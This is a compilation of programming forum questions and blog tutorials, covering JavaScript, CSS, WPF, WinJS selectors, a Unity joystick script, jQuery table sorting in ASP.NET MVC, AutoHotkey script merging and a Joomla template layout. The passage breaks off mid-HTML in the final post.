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  • Programmatic gradient stops with Javascript

    - by TomcatExodus
    Working with Javascript (jQuery), given 2 color values (2033ff and 3300a0 for example) how can I determine certain gradient stops between them? Reason being is, I intend on using an array of color values: 0 => '000000' 8400 => 'f0ff00' 44000 => '2033ff' 68400 => '3300a0' There being 86400 seconds in a day, 12:00AM maps to 0, and 11:59PM maps to 86399. As time passes, the background color of a specified element changes to the appropriate color in gradient list via window.setInterval(function(e){ ... }, 1000). For example 2:32:11PM = 52331, which from the example would be somewhere between 2033ff and 3300a0. I don't need to populate the array with the values (unless that would be easier) but instead use the index and value as references.

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  • WPF - hiding listbox items

    - by user553765
    Hi, I have a listbox where the itemtemplate is using a style. The styles specifies a border with a datatrigger setting the visibility of the border to collapsed depending on a property. This works fine except I can still see a very narrow line for each item, in the list, that is collapsed. I was hoping someone could help with how to set the visibility so that there are no visible traces as this is quite apparent when consecutive items have been collapsed. The datatemplate specifies an outer border with a dockpanel inside of this - there are then stackpanels docked to this. Any help is appreciated.

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  • Height in IE is displaying diffrent to firefox

    - by user268707
    I have a problem with displaying a set height in ie. In my css I have set a height for my sidebar div as 2150px; which it displays fine in firefox but does not display the full height in ie. How can I get ie to display the height I have set in ie? Thanks in advance The source code is below #sidebar_newspr{ width:160px; min-height:2150px; margin-top:1px; margin-right:2px; border-right-style:solid; border-right-color:#900; border-right-width:1px; float:left; } #sidebar_newspr a{ text-decoration:none; color:#FFF; font-size:12px; font-family:Verdana,Arial,Helvetica,sans-serif; } #sidebar_newspr a:hover{ color:#900; }

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  • Need to sync two lists with atrribute time, but times aren't equal

    - by virgula24
    I gonna try to describe my problem the best i can. I have two lists, one with audio frames and other with color frames (not relevant). Both of them have timestamps, they were captured at the same moment but at different instants. So, i have like this: index COLOR AUDIO 0 841 846 1 873 897 2 905 948 3 940 1000 the frames start at high numbers because they were captured and then trimmed to specific parts, but im shot, frame 0 is synced with only 5ms apart(timestamp in ms). On every case i have, the audio frames count is less than the color count. I need to make them have the same count. The stating frames may be coloraudio, color

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  • How can I make a TextArea 100% width without overflowing when padding is present in CSS?

    - by spoon16
    I have the following HTML snippet being rendered. <div style="display: block;" id="rulesformitem" class="formitem"> <label for="rules" id="ruleslabel">Rules:</label> <textarea cols="2" rows="10" id="rules"/> </div> This is my CSS: textarea { border:1px solid #999999; width:100%; margin:5px 0; padding:3px; } Is the problem is that the text area ends up being 8px wider (2px for border + 6px for padding) than the parent. Is there a way to continue to use border and padding but constrain the total size of the textarea to the width of the parent?

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  • Metro: Query Selectors

    - by Stephen.Walther
    The goal of this blog entry is to explain how to perform queries using selectors when using the WinJS library. In particular, you learn how to use the WinJS.Utilities.query() method and the QueryCollection class to retrieve and modify the elements of an HTML document. Introduction to Selectors When you are building a Web application, you need some way of easily retrieving elements from an HTML document. For example, you might want to retrieve all of the input elements which have a certain class. Or, you might want to retrieve the one and only element with an id of favoriteColor. The standard way of retrieving elements from an HTML document is by using a selector. Anyone who has ever created a Cascading Style Sheet has already used selectors. You use selectors in Cascading Style Sheets to apply formatting rules to elements in a document. For example, the following Cascading Style Sheet rule changes the background color of every INPUT element with a class of .required in a document to the color red: input.red { background-color: red } The “input.red” part is the selector which matches all INPUT elements with a class of red. The W3C standard for selectors (technically, their recommendation) is entitled “Selectors Level 3” and the standard is located here: http://www.w3.org/TR/css3-selectors/ Selectors are not only useful for adding formatting to the elements of a document. Selectors are also useful when you need to apply behavior to the elements of a document. For example, you might want to select a particular BUTTON element with a selector and add a click handler to the element so that something happens whenever you click the button. Selectors are not specific to Cascading Style Sheets. You can use selectors in your JavaScript code to retrieve elements from an HTML document. jQuery is famous for its support for selectors. Using jQuery, you can use a selector to retrieve matching elements from a document and modify the elements. The WinJS library enables you to perform the same types of queries as jQuery using the W3C selector syntax. Performing Queries with the WinJS.Utilities.query() Method When using the WinJS library, you perform a query using a selector by using the WinJS.Utilities.query() method.  The following HTML document contains a BUTTON and a DIV element: <!DOCTYPE html> <html> <head> <meta charset="utf-8"> <title>Application1</title> <!-- WinJS references --> <link href="//Microsoft.WinJS.0.6/css/ui-dark.css" rel="stylesheet"> <script src="//Microsoft.WinJS.0.6/js/base.js"></script> <script src="//Microsoft.WinJS.0.6/js/ui.js"></script> <!-- Application1 references --> <link href="/css/default.css" rel="stylesheet"> <script src="/js/default.js"></script> </head> <body> <button>Click Me!</button> <div style="display:none"> <h1>Secret Message</h1> </div> </body> </html> The document contains a reference to the following JavaScript file named \js\default.js: (function () { "use strict"; var app = WinJS.Application; app.onactivated = function (eventObject) { if (eventObject.detail.kind === Windows.ApplicationModel.Activation.ActivationKind.launch) { WinJS.Utilities.query("button").listen("click", function () { WinJS.Utilities.query("div").clearStyle("display"); }); } }; app.start(); })(); The default.js script uses the WinJS.Utilities.query() method to retrieve all of the BUTTON elements in the page. The listen() method is used to wire an event handler to the BUTTON click event. When you click the BUTTON, the secret message contained in the hidden DIV element is displayed. The clearStyle() method is used to remove the display:none style attribute from the DIV element. Under the covers, the WinJS.Utilities.query() method uses the standard querySelectorAll() method. This means that you can use any selector which is compatible with the querySelectorAll() method when using the WinJS.Utilities.query() method. The querySelectorAll() method is defined in the W3C Selectors API Level 1 standard located here: http://www.w3.org/TR/selectors-api/ Unlike the querySelectorAll() method, the WinJS.Utilities.query() method returns a QueryCollection. We talk about the methods of the QueryCollection class below. Retrieving a Single Element with the WinJS.Utilities.id() Method If you want to retrieve a single element from a document, instead of matching a set of elements, then you can use the WinJS.Utilities.id() method. For example, the following line of code changes the background color of an element to the color red: WinJS.Utilities.id("message").setStyle("background-color", "red"); The statement above matches the one and only element with an Id of message. For example, the statement matches the following DIV element: <div id="message">Hello!</div> Notice that you do not use a hash when matching a single element with the WinJS.Utilities.id() method. You would need to use a hash when using the WinJS.Utilities.query() method to do the same thing like this: WinJS.Utilities.query("#message").setStyle("background-color", "red"); Under the covers, the WinJS.Utilities.id() method calls the standard document.getElementById() method. The WinJS.Utilities.id() method returns the result as a QueryCollection. If no element matches the identifier passed to WinJS.Utilities.id() then you do not get an error. Instead, you get a QueryCollection with no elements (length=0). Using the WinJS.Utilities.children() method The WinJS.Utilities.children() method enables you to retrieve a QueryCollection which contains all of the children of a DOM element. For example, imagine that you have a DIV element which contains children DIV elements like this: <div id="discussContainer"> <div>Message 1</div> <div>Message 2</div> <div>Message 3</div> </div> You can use the following code to add borders around all of the child DIV element and not the container DIV element: var discussContainer = WinJS.Utilities.id("discussContainer").get(0); WinJS.Utilities.children(discussContainer).setStyle("border", "2px dashed red");   It is important to understand that the WinJS.Utilities.children() method only works with a DOM element and not a QueryCollection. Notice that the get() method is used to retrieve the DOM element which represents the discussContainer. Working with the QueryCollection Class Both the WinJS.Utilities.query() method and the WinJS.Utilities.id() method return an instance of the QueryCollection class. The QueryCollection class derives from the base JavaScript Array class and adds several useful methods for working with HTML elements: addClass(name) – Adds a class to every element in the QueryCollection. clearStyle(name) – Removes a style from every element in the QueryCollection. conrols(ctor, options) – Enables you to create controls. get(index) – Retrieves the element from the QueryCollection at the specified index. getAttribute(name) – Retrieves the value of an attribute for the first element in the QueryCollection. hasClass(name) – Returns true if the first element in the QueryCollection has a certain class. include(items) – Includes a collection of items in the QueryCollection. listen(eventType, listener, capture) – Adds an event listener to every element in the QueryCollection. query(query) – Performs an additional query on the QueryCollection and returns a new QueryCollection. removeClass(name) – Removes a class from the every element in the QueryCollection. removeEventListener(eventType, listener, capture) – Removes an event listener from every element in the QueryCollection. setAttribute(name, value) – Adds an attribute to every element in the QueryCollection. setStyle(name, value) – Adds a style attribute to every element in the QueryCollection. template(templateElement, data, renderDonePromiseContract) – Renders a template using the supplied data.  toggleClass(name) – Toggles the specified class for every element in the QueryCollection. Because the QueryCollection class derives from the base Array class, it also contains all of the standard Array methods like forEach() and slice(). Summary In this blog post, I’ve described how you can perform queries using selectors within a Windows Metro Style application written with JavaScript. You learned how to return an instance of the QueryCollection class by using the WinJS.Utilities.query(), WinJS.Utilities.id(), and WinJS.Utilities.children() methods. You also learned about the methods of the QueryCollection class.

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  • Restricting joystick within a radius of center

    - by Phil
    I'm using Unity3d iOs and am using the example joysticks that came with one of the packages. It works fine but the area the joystick moves in is a rectangle which is unintuitive for my type of game. I can figure out how to see if the distance between the center and the current point is too far but I can't figure out how to constrain it to a certain distance without interrupting the finger tracking. Here's the relevant code: using UnityEngine; using System.Collections; public class Boundary { public Vector2 min = Vector2.zero; public Vector2 max = Vector2.zero; } public class Joystick : MonoBehaviour{ static private Joystick[] joysticks; // A static collection of all joysticks static private bool enumeratedJoysticks=false; static private float tapTimeDelta = 0.3f; // Time allowed between taps public bool touchPad; // Is this a TouchPad? public Rect touchZone; public Vector2 deadZone = Vector2.zero; // Control when position is output public bool normalize = false; // Normalize output after the dead-zone? public Vector2 position; // [-1, 1] in x,y public int tapCount; // Current tap count private int lastFingerId = -1; // Finger last used for this joystick private float tapTimeWindow; // How much time there is left for a tap to occur private Vector2 fingerDownPos; private float fingerDownTime; private float firstDeltaTime = 0.5f; private GUITexture gui; // Joystick graphic private Rect defaultRect; // Default position / extents of the joystick graphic private Boundary guiBoundary = new Boundary(); // Boundary for joystick graphic public Vector2 guiTouchOffset; // Offset to apply to touch input private Vector2 guiCenter; // Center of joystick private Vector3 tmpv3; private Rect tmprect; private Color tmpclr; public float allowedDistance; public enum JoystickType { movement, rotation } public JoystickType joystickType; public void Start() { // Cache this component at startup instead of looking up every frame gui = (GUITexture) GetComponent( typeof(GUITexture) ); // Store the default rect for the gui, so we can snap back to it defaultRect = gui.pixelInset; if ( touchPad ) { // If a texture has been assigned, then use the rect ferom the gui as our touchZone if ( gui.texture ) touchZone = gui.pixelInset; } else { // This is an offset for touch input to match with the top left // corner of the GUI guiTouchOffset.x = defaultRect.width * 0.5f; guiTouchOffset.y = defaultRect.height * 0.5f; // Cache the center of the GUI, since it doesn't change guiCenter.x = defaultRect.x + guiTouchOffset.x; guiCenter.y = defaultRect.y + guiTouchOffset.y; // Let's build the GUI boundary, so we can clamp joystick movement guiBoundary.min.x = defaultRect.x - guiTouchOffset.x; guiBoundary.max.x = defaultRect.x + guiTouchOffset.x; guiBoundary.min.y = defaultRect.y - guiTouchOffset.y; guiBoundary.max.y = defaultRect.y + guiTouchOffset.y; } } public void Disable() { gameObject.active = false; enumeratedJoysticks = false; } public void ResetJoystick() { if (joystickType != JoystickType.rotation) { //Don't do anything if turret mode // Release the finger control and set the joystick back to the default position gui.pixelInset = defaultRect; lastFingerId = -1; position = Vector2.zero; fingerDownPos = Vector2.zero; if ( touchPad ){ tmpclr = gui.color; tmpclr.a = 0.025f; gui.color = tmpclr; } } else { //gui.pixelInset = defaultRect; lastFingerId = -1; position = position; fingerDownPos = fingerDownPos; if ( touchPad ){ tmpclr = gui.color; tmpclr.a = 0.025f; gui.color = tmpclr; } } } public bool IsFingerDown() { return (lastFingerId != -1); } public void LatchedFinger( int fingerId ) { // If another joystick has latched this finger, then we must release it if ( lastFingerId == fingerId ) ResetJoystick(); } public void Update() { if ( !enumeratedJoysticks ) { // Collect all joysticks in the game, so we can relay finger latching messages joysticks = (Joystick[]) FindObjectsOfType( typeof(Joystick) ); enumeratedJoysticks = true; } //CHeck if distance is over the allowed amount //Get centerPosition //Get current position //Get distance //If over, don't allow int count = iPhoneInput.touchCount; // Adjust the tap time window while it still available if ( tapTimeWindow > 0 ) tapTimeWindow -= Time.deltaTime; else tapCount = 0; if ( count == 0 ) ResetJoystick(); else { for(int i = 0;i < count; i++) { iPhoneTouch touch = iPhoneInput.GetTouch(i); Vector2 guiTouchPos = touch.position - guiTouchOffset; bool shouldLatchFinger = false; if ( touchPad ) { if ( touchZone.Contains( touch.position ) ) shouldLatchFinger = true; } else if ( gui.HitTest( touch.position ) ) { shouldLatchFinger = true; } // Latch the finger if this is a new touch if ( shouldLatchFinger && ( lastFingerId == -1 || lastFingerId != touch.fingerId ) ) { if ( touchPad ) { tmpclr = gui.color; tmpclr.a = 0.15f; gui.color = tmpclr; lastFingerId = touch.fingerId; fingerDownPos = touch.position; fingerDownTime = Time.time; } lastFingerId = touch.fingerId; // Accumulate taps if it is within the time window if ( tapTimeWindow > 0 ) { tapCount++; print("tap" + tapCount.ToString()); } else { tapCount = 1; print("tap" + tapCount.ToString()); //Tell gameobject that player has tapped turret joystick if (joystickType == JoystickType.rotation) { //TODO: Call! } tapTimeWindow = tapTimeDelta; } // Tell other joysticks we've latched this finger foreach ( Joystick j in joysticks ) { if ( j != this ) j.LatchedFinger( touch.fingerId ); } } if ( lastFingerId == touch.fingerId ) { // Override the tap count with what the iPhone SDK reports if it is greater // This is a workaround, since the iPhone SDK does not currently track taps // for multiple touches if ( touch.tapCount > tapCount ) tapCount = touch.tapCount; if ( touchPad ) { // For a touchpad, let's just set the position directly based on distance from initial touchdown position.x = Mathf.Clamp( ( touch.position.x - fingerDownPos.x ) / ( touchZone.width / 2 ), -1, 1 ); position.y = Mathf.Clamp( ( touch.position.y - fingerDownPos.y ) / ( touchZone.height / 2 ), -1, 1 ); } else { // Change the location of the joystick graphic to match where the touch is tmprect = gui.pixelInset; tmprect.x = Mathf.Clamp( guiTouchPos.x, guiBoundary.min.x, guiBoundary.max.x ); tmprect.y = Mathf.Clamp( guiTouchPos.y, guiBoundary.min.y, guiBoundary.max.y ); //Check distance float distance = Vector2.Distance(new Vector2(defaultRect.x, defaultRect.y), new Vector2(tmprect.x, tmprect.y)); float angle = Vector2.Angle(new Vector2(defaultRect.x, defaultRect.y), new Vector2(tmprect.x, tmprect.y)); if (distance < allowedDistance) { //Ok gui.pixelInset = tmprect; } else { //This is where I don't know what to do... } } if ( touch.phase == iPhoneTouchPhase.Ended || touch.phase == iPhoneTouchPhase.Canceled ) ResetJoystick(); } } } if ( !touchPad ) { // Get a value between -1 and 1 based on the joystick graphic location position.x = ( gui.pixelInset.x + guiTouchOffset.x - guiCenter.x ) / guiTouchOffset.x; position.y = ( gui.pixelInset.y + guiTouchOffset.y - guiCenter.y ) / guiTouchOffset.y; } // Adjust for dead zone float absoluteX = Mathf.Abs( position.x ); float absoluteY = Mathf.Abs( position.y ); if ( absoluteX < deadZone.x ) { // Report the joystick as being at the center if it is within the dead zone position.x = 0; } else if ( normalize ) { // Rescale the output after taking the dead zone into account position.x = Mathf.Sign( position.x ) * ( absoluteX - deadZone.x ) / ( 1 - deadZone.x ); } if ( absoluteY < deadZone.y ) { // Report the joystick as being at the center if it is within the dead zone position.y = 0; } else if ( normalize ) { // Rescale the output after taking the dead zone into account position.y = Mathf.Sign( position.y ) * ( absoluteY - deadZone.y ) / ( 1 - deadZone.y ); } } } So the later portion of the code handles the updated position of the joystick thumb. This is where I'd like it to track the finger position in a direction it still is allowed to move (like if the finger is too far up and slightly to the +X I'd like to make sure the joystick is as close in X and Y as allowed within the radius) Thanks for reading!

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  • Table sorting & pagination with jQuery and Razor in ASP.NET MVC

    - by hajan
    Introduction jQuery enjoys living inside pages which are built on top of ASP.NET MVC Framework. The ASP.NET MVC is a place where things are organized very well and it is quite hard to make them dirty, especially because the pattern enforces you on purity (you can still make it dirty if you want so ;) ). We all know how easy is to build a HTML table with a header row, footer row and table rows showing some data. With ASP.NET MVC we can do this pretty easy, but, the result will be pure HTML table which only shows data, but does not includes sorting, pagination or some other advanced features that we were used to have in the ASP.NET WebForms GridView. Ok, there is the WebGrid MVC Helper, but what if we want to make something from pure table in our own clean style? In one of my recent projects, I’ve been using the jQuery tablesorter and tablesorter.pager plugins that go along. You don’t need to know jQuery to make this work… You need to know little CSS to create nice design for your table, but of course you can use mine from the demo… So, what you will see in this blog is how to attach this plugin to your pure html table and a div for pagination and make your table with advanced sorting and pagination features.   Demo Project Resources The resources I’m using for this demo project are shown in the following solution explorer window print screen: Content/images – folder that contains all the up/down arrow images, pagination buttons etc. You can freely replace them with your own, but keep the names the same if you don’t want to change anything in the CSS we will built later. Content/Site.css – The main css theme, where we will add the theme for our table too Controllers/HomeController.cs – The controller I’m using for this project Models/Person.cs – For this demo, I’m using Person.cs class Scripts – jquery-1.4.4.min.js, jquery.tablesorter.js, jquery.tablesorter.pager.js – required script to make the magic happens Views/Home/Index.cshtml – Index view (razor view engine) the other items are not important for the demo. ASP.NET MVC 1. Model In this demo I use only one Person class which defines Person entity with several properties. You can use your own model, maybe one which will access data from database or any other resource. Person.cs public class Person {     public string Name { get; set; }     public string Surname { get; set; }     public string Email { get; set; }     public int? Phone { get; set; }     public DateTime? DateAdded { get; set; }     public int? Age { get; set; }     public Person(string name, string surname, string email,         int? phone, DateTime? dateadded, int? age)     {         Name = name;         Surname = surname;         Email = email;         Phone = phone;         DateAdded = dateadded;         Age = age;     } } 2. View In our example, we have only one Index.chtml page where Razor View engine is used. Razor view engine is my favorite for ASP.NET MVC because it’s very intuitive, fluid and keeps your code clean. 3. Controller Since this is simple example with one page, we use one HomeController.cs where we have two methods, one of ActionResult type (Index) and another GetPeople() used to create and return list of people. HomeController.cs public class HomeController : Controller {     //     // GET: /Home/     public ActionResult Index()     {         ViewBag.People = GetPeople();         return View();     }     public List<Person> GetPeople()     {         List<Person> listPeople = new List<Person>();                  listPeople.Add(new Person("Hajan", "Selmani", "[email protected]", 070070070,DateTime.Now, 25));                     listPeople.Add(new Person("Straight", "Dean", "[email protected]", 123456789, DateTime.Now.AddDays(-5), 35));         listPeople.Add(new Person("Karsen", "Livia", "[email protected]", 46874651, DateTime.Now.AddDays(-2), 31));         listPeople.Add(new Person("Ringer", "Anne", "[email protected]", null, DateTime.Now, null));         listPeople.Add(new Person("O'Leary", "Michael", "[email protected]", 32424344, DateTime.Now, 44));         listPeople.Add(new Person("Gringlesby", "Anne", "[email protected]", null, DateTime.Now.AddDays(-9), 18));         listPeople.Add(new Person("Locksley", "Stearns", "[email protected]", 2135345, DateTime.Now, null));         listPeople.Add(new Person("DeFrance", "Michel", "[email protected]", 235325352, DateTime.Now.AddDays(-18), null));         listPeople.Add(new Person("White", "Johnson", null, null, DateTime.Now.AddDays(-22), 55));         listPeople.Add(new Person("Panteley", "Sylvia", null, 23233223, DateTime.Now.AddDays(-1), 32));         listPeople.Add(new Person("Blotchet-Halls", "Reginald", null, 323243423, DateTime.Now, 26));         listPeople.Add(new Person("Merr", "South", "[email protected]", 3232442, DateTime.Now.AddDays(-5), 85));         listPeople.Add(new Person("MacFeather", "Stearns", "[email protected]", null, DateTime.Now, null));         return listPeople;     } }   TABLE CSS/HTML DESIGN Now, lets start with the implementation. First of all, lets create the table structure and the main CSS. 1. HTML Structure @{     Layout = null;     } <!DOCTYPE html> <html> <head>     <title>ASP.NET & jQuery</title>     <!-- referencing styles, scripts and writing custom js scripts will go here --> </head> <body>     <div>         <table class="tablesorter">             <thead>                 <tr>                     <th> value </th>                 </tr>             </thead>             <tbody>                 <tr>                     <td>value</td>                 </tr>             </tbody>             <tfoot>                 <tr>                     <th> value </th>                 </tr>             </tfoot>         </table>         <div id="pager">                      </div>     </div> </body> </html> So, this is the main structure you need to create for each of your tables where you want to apply the functionality we will create. Of course the scripts are referenced once ;). As you see, our table has class tablesorter and also we have a div with id pager. In the next steps we will use both these to create the needed functionalities. The complete Index.cshtml coded to get the data from controller and display in the page is: <body>     <div>         <table class="tablesorter">             <thead>                 <tr>                     <th>Name</th>                     <th>Surname</th>                     <th>Email</th>                     <th>Phone</th>                     <th>Date Added</th>                 </tr>             </thead>             <tbody>                 @{                     foreach (var p in ViewBag.People)                     {                                 <tr>                         <td>@p.Name</td>                         <td>@p.Surname</td>                         <td>@p.Email</td>                         <td>@p.Phone</td>                         <td>@p.DateAdded</td>                     </tr>                     }                 }             </tbody>             <tfoot>                 <tr>                     <th>Name</th>                     <th>Surname</th>                     <th>Email</th>                     <th>Phone</th>                     <th>Date Added</th>                 </tr>             </tfoot>         </table>         <div id="pager" style="position: none;">             <form>             <img src="@Url.Content("~/Content/images/first.png")" class="first" />             <img src="@Url.Content("~/Content/images/prev.png")" class="prev" />             <input type="text" class="pagedisplay" />             <img src="@Url.Content("~/Content/images/next.png")" class="next" />             <img src="@Url.Content("~/Content/images/last.png")" class="last" />             <select class="pagesize">                 <option selected="selected" value="5">5</option>                 <option value="10">10</option>                 <option value="20">20</option>                 <option value="30">30</option>                 <option value="40">40</option>             </select>             </form>         </div>     </div> </body> So, mainly the structure is the same. I have added @Razor code to create table with data retrieved from the ViewBag.People which has been filled with data in the home controller. 2. CSS Design The CSS code I’ve created is: /* DEMO TABLE */ body {     font-size: 75%;     font-family: Verdana, Tahoma, Arial, "Helvetica Neue", Helvetica, Sans-Serif;     color: #232323;     background-color: #fff; } table { border-spacing:0; border:1px solid gray;} table.tablesorter thead tr .header {     background-image: url(images/bg.png);     background-repeat: no-repeat;     background-position: center right;     cursor: pointer; } table.tablesorter tbody td {     color: #3D3D3D;     padding: 4px;     background-color: #FFF;     vertical-align: top; } table.tablesorter tbody tr.odd td {     background-color:#F0F0F6; } table.tablesorter thead tr .headerSortUp {     background-image: url(images/asc.png); } table.tablesorter thead tr .headerSortDown {     background-image: url(images/desc.png); } table th { width:150px;            border:1px outset gray;            background-color:#3C78B5;            color:White;            cursor:pointer; } table thead th:hover { background-color:Yellow; color:Black;} table td { width:150px; border:1px solid gray;} PAGINATION AND SORTING Now, when everything is ready and we have the data, lets make pagination and sorting functionalities 1. jQuery Scripts referencing <link href="@Url.Content("~/Content/Site.css")" rel="stylesheet" type="text/css" /> <script src="@Url.Content("~/Scripts/jquery-1.4.4.min.js")" type="text/javascript"></script> <script src="@Url.Content("~/Scripts/jquery.tablesorter.js")" type="text/javascript"></script> <script src="@Url.Content("~/Scripts/jquery.tablesorter.pager.js")" type="text/javascript"></script> 2. jQuery Sorting and Pagination script   <script type="text/javascript">     $(function () {         $("table.tablesorter").tablesorter({ widthFixed: true, sortList: [[0, 0]] })         .tablesorterPager({ container: $("#pager"), size: $(".pagesize option:selected").val() });     }); </script> So, with only two lines of code, I’m using both tablesorter and tablesorterPager plugins, giving some options to both these. Options added: tablesorter - widthFixed: true – gives fixed width of the columns tablesorter - sortList[[0,0]] – An array of instructions for per-column sorting and direction in the format: [[columnIndex, sortDirection], ... ] where columnIndex is a zero-based index for your columns left-to-right and sortDirection is 0 for Ascending and 1 for Descending. A valid argument that sorts ascending first by column 1 and then column 2 looks like: [[0,0],[1,0]] (source: http://tablesorter.com/docs/) tablesorterPager – container: $(“#pager”) – tells the pager container, the div with id pager in our case. tablesorterPager – size: the default size of each page, where I get the default value selected, so if you put selected to any other of the options in your select list, you will have this number of rows as default per page for the table too. END RESULTS 1. Table once the page is loaded (default results per page is 5 and is automatically sorted by 1st column as sortList is specified) 2. Sorted by Phone Descending 3. Changed pagination to 10 items per page 4. Sorted by Phone and Name (use SHIFT to sort on multiple columns) 5. Sorted by Date Added 6. Page 3, 5 items per page   ADDITIONAL ENHANCEMENTS We can do additional enhancements to the table. We can make search for each column. I will cover this in one of my next blogs. Stay tuned. DEMO PROJECT You can download demo project source code from HERE.CONCLUSION Once you finish with the demo, run your page and open the source code. You will be amazed of the purity of your code.Working with pagination in client side can be very useful. One of the benefits is performance, but if you have thousands of rows in your tables, you will get opposite result when talking about performance. Hence, sometimes it is nice idea to make pagination on back-end. So, the compromise between both approaches would be best to combine both of them. I use at most up to 500 rows on client-side and once the user reach the last page, we can trigger ajax postback which can get the next 500 rows using server-side pagination of the same data. I would like to recommend the following blog post http://weblogs.asp.net/gunnarpeipman/archive/2010/09/14/returning-paged-results-from-repositories-using-pagedresult-lt-t-gt.aspx, which will help you understand how to return page results from repository. I hope this was helpful post for you. Wait for my next posts ;). Please do let me know your feedback. Best Regards, Hajan

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  • Need help merging 2 AHK scripts

    - by Mikey
    i have two functioning scripts that i want to merge into a single AHK File. My problem is that when i combine both scripts, the second script doesnt function or causes an error on script 1. Either way, script 2 ist not functioning at all. Here are some facts: Script 1 = a simple menu script where i want to assign hotkeys to. Script 2 = A small launcher script from a user named Tertius in autohotkey forum. Can someone please look at both codes and help me merge this? The INI File for script 2 looks like this: Keywords.ini npff|Firefox|Firefox gm|Gmail|http://gmail.google.com ;;;;;;;;;;;; BEGIN SCRIPT 2 DetectHiddenWindows, On SetWinDelay, -1 SetKeyDelay, -1 SetBatchLines, -1 GoSub Remin SetTimer, Remin, % 1000 * 60 Loop, read, %A_ScriptDir%\keywords.ini { LineNumber = %A_Index% Loop, parse, A_LoopReadLine, | { if (A_Index == 1) abbrevs%LineNumber% := A_LoopField else if (A_Index == 2) tips%LineNumber% := A_LoopField else if (A_Index == 3) programs%LineNumber% := A_LoopField else if (A_Index == 4) params%LineNumber% := A_LoopField } tosay := abbrevs%LineNumber% } cnt = %LineNumber% Loop { Input, Key, L1 V, % "{LControl}{RControl}{LAlt}{RAlt}{LShift}{RShift}{LWin}{RWin}" . "{AppsKey}{F1}{F2}{F3}{F4}{F5}{F6}{F7}{F8}{F9}{F10}{F11}{F12}{Left}{Right}{Up}{Down}" . "{Home}{End}{PgUp}{PgDn}{Del}{Ins}{BS}{Capslock}{Numlock}{PrintScreen}{Pause}{Escape}" If( ( Asc(Key) = 65 && Asc(Key) <= 90 ) || ( Asc(Key) = 97 && Asc(Key) <= 122 ) ) Word .= Key Else { Word := "" Continue } tipup := false Loop %cnt% { if (Word == abbrevs%A_index%) { tip := tips%A_index% ToolTip %tip% tipup := true } else { if (tipup == false) ToolTip } } } $Tab:: Loop %cnt% { if (Word != "" && Word == abbrevs%A_index%) { Word := "" StringLen, len, abbrevs%A_index% Loop %len% Send {Shift Down}{Left} Send {Shift Up}{BS} ToolTip program := programs%A_index% param := params%A_index% run, %program% %param% return } } Word := "" Send {Tab} Return ~LButton:: ~MButton:: ~RButton:: ~XButton1:: ~XButton2:: Word := "" Tooltip Return Remin: WinMinimize, %A_ScriptFullPath% - AutoHotkey v WinHide, %A_ScriptFullPath% - AutoHotkey v Return ;;;;;;;;;; END SCRIPT 2 ;;;;;;;;;;;;;; BEGIN SCRIPT 1 ;This is a working script that creates a popup menu. ; Create the popup menu by adding some items to it. Menu, MyMenu, Add, FIS 201, MenuHandler Menu, MyMenu, Add ; Add a separator line. Menu, MyMenu, Color, Lime, Single ;Define the Menu Color ; Create another menu destined to become a submenu of the above menu. Menu, Submenu1, Add, Item2, MenuHandler Menu, Submenu1, Add, Item3, MenuHandler Menu, Submenu1, Color, Yellow ;Define the Menu Color ; Create another menu destined to become a submenu of the above menu. Menu, Submenu2, Add, Item1a, MenuHandler Menu, Submenu2, Add, Item2a, MenuHandler Menu, Submenu2, Add, Item3a, MenuHandler Menu, Submenu2, Add, Item4a, MenuHandler Menu, Submenu2, Add, Item5a, MenuHandler Menu, Submenu2, Add, Item6a, MenuHandler Menu, Submenu2, Color, Aqua ;Define the Menu Color ; Create a submenu in the first menu (a right-arrow indicator). When the user selects it, the second menu is displayed. Menu, MyMenu, Add, BKRS 119, :Submenu1 Menu, MyMenu, Add ; Add a separator line below the submenu. Menu, MyMenu, Add, BKRS 201, :Submenu2 Menu, MyMenu, Add ; Add a separator line below the submenu. Menu, MyMenu, Add ; Add a separator line below the submenu. Menu, MyMenu, Add, Google Search, Google ; Add another menu item beneath the submenu. return ; End of script's auto-execute section. Capslock & LButton::Menu, MyMenu, Show ; i.e. press the Win-Z hotkey to show the menu. MenuHandler: MsgBox You selected %A_ThisMenuItem% from the menu %A_ThisMenu%. return ;;;;;;;;;;;;;;;;;;;;;;;; ;;;;;;;; Google Search ;;; FORMAT InputBox, OutputVar [, Title, Prompt, HIDE, Width, Height, X, Y, Font, Timeout, Default] Google: InputBox, SearchTerm, Google Search,,,350, 120 if SearchTerm < "" Run http://www.google.de/search?sclient=psy-ab&hl=de&site=&source=hp&q=%SearchTerm%&btnG=Suche return ; Make Window Transparent Space::WinSet, Transparent, 125, A ^!Space UP::WinSet, Transparent, OFF, A return ;;;;;;;;;;; END SCRIPT 1 Help is appreciated. Kind Regards, Mikey

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  • Content Container Overlaps Menu?

    - by Harold
    I'm currently working on a Joomla template using CSS divs. I have a header set up with our logo image in a div floated to the left, an adspace floated to the right, and the menu bar on the bottom. My content is divided into three div columns that are contained in "container.": the left column is floated left, the center is not floated, and the right is floated to the right. The problem is the "container" for the three content divs is overlapping the menu, as you can see in this image: http://www.ndpstudentcouncil.org/images/shot1.png Here's the HTML code: > <body> <div id="backdrop"> <div > id="wrapper"> <div id="header"> > <div id="topimage"> </div> > <div id="adspace1"><jdoc:include > type="modules" name="Ad Space #1" /> > This will be the location for our > "newsflash" items. </div> > > <div id="ddtopmenubar" > class="mattblackmenu"> > <ul> > <li><a href="http://www.ndpstudentcouncil.org">Home</a></li> > <li><a href="http://www.dynamicdrive.com/new.htm" rel="ddsubmenu1">DHTML</a></li> > <li><a href="http://www.dynamicdrive.com/style/" > rel="ddsubmenu2">CSS</a></li> > <li><a href="http://www.dynamicdrive.com/forums/">Forums</a></li> > <li><a href="http://tools.dynamicdrive.com/" > rel="ddsubmenu3">Web Tools</a></li> > </ul> > <script type="text/javascript" src="js/ddlevelsmenu.js"> > ddlevelsmenu.setup("ddtopmenubar", "topbar") > //ddlevelsmenu.setup("mainmenuid", > "topbar|sidebar") > </script> > <ul id="ddsubmenu1" class="ddsubmenustyle"> > <li><a href="#">Item 1a</a></li> > <li><a href="#">Item 2a</a></li> > <li><a href="#">Item Folder 3a</a> > <ul> > <li><a href="#">Sub Item 3.1a</a></li> > </ul> > </li> > <li><a href="#">Item 4a</a></li> > <li><a href="#">Item Folder 5a</a> > <ul> > <li><a href="#">Sub Item 5.1a</a></li> > <li><a href="#">Item Folder 5.2a</a> > <ul> > <li><a href="#">Sub Item 5.2.1a</a></li> > <li><a href="#">Sub Item 5.2.2a</a></li> > </ul> > </li> > </ul> > </a> > </li> > <li><a href="#">Item 6a</a></li> > </ul> </div> </div> > <div 